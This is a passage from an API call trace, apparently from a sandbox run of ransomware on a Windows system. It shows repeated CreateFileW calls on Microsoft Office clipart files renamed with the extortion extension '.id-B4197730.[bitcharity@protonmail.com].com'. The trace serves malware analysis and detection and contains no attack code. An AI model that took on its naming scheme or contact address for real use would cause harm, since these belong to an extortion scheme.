office\\root\\clipart\\pub60cor\\na00807_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.710] CloseHandle (hObject=0x118c) returned 1 [0256.712] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.713] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.713] CloseHandle (hObject=0x118c) returned 1 [0256.715] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.715] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.715] CloseHandle (hObject=0x118c) returned 1 [0256.716] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.717] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00810_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00810_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.718] CloseHandle (hObject=0x118c) returned 1 [0256.720] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.720] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.720] CloseHandle (hObject=0x118c) returned 1 [0256.722] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.722] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.722] CloseHandle (hObject=0x118c) returned 1 [0256.724] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.724] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01066_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01066_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.725] CloseHandle (hObject=0x118c) returned 1 [0256.726] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.727] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.727] CloseHandle (hObject=0x118c) returned 1 [0256.728] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.729] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.729] CloseHandle (hObject=0x118c) returned 1 [0256.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.038] CloseHandle (hObject=0x118c) returned 1 [0257.046] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.046] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02126_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02126_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.047] CloseHandle (hObject=0x118c) returned 1 [0257.050] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.050] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02127_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02127_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.050] CloseHandle (hObject=0x118c) returned 1 [0257.051] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.052] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.052] CloseHandle (hObject=0x118c) returned 1 [0257.053] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.053] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02264_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02264_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.054] CloseHandle (hObject=0x118c) returned 1 [0257.056] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.056] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02356_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02356_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.057] CloseHandle (hObject=0x118c) returned 1 [0257.059] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.059] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02361_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02361_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.060] CloseHandle (hObject=0x118c) returned 1 [0257.061] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.061] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.061] CloseHandle (hObject=0x118c) returned 1 [0257.063] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.063] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02371_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.064] CloseHandle (hObject=0x118c) returned 1 [0257.066] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.066] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02373_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02373_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.066] CloseHandle (hObject=0x118c) returned 1 [0257.067] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.067] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.068] CloseHandle (hObject=0x118c) returned 1 [0257.070] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.070] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02386_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02386_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.071] CloseHandle (hObject=0x118c) returned 1 [0257.072] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.072] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.072] CloseHandle (hObject=0x118c) returned 1 [0257.074] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.074] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.074] CloseHandle (hObject=0x118c) returned 1 [0257.076] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.076] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.077] CloseHandle (hObject=0x118c) returned 1 [0257.079] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.079] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02398_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02398_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.079] CloseHandle (hObject=0x118c) returned 1 [0257.081] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.081] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.541] CloseHandle (hObject=0x118c) returned 1 [0257.544] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.544] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.545] CloseHandle (hObject=0x118c) returned 1 [0257.546] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.546] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.547] CloseHandle (hObject=0x118c) returned 1 [0257.548] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.548] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00578_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00578_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.549] CloseHandle (hObject=0x118c) returned 1 [0257.551] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.551] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.551] CloseHandle (hObject=0x118c) returned 1 [0257.552] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.552] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.553] CloseHandle (hObject=0x118c) returned 1 [0257.554] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.554] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00640_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00640_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.555] CloseHandle (hObject=0x118c) returned 1 [0257.556] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.556] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00668_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00668_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.556] CloseHandle (hObject=0x118c) returned 1 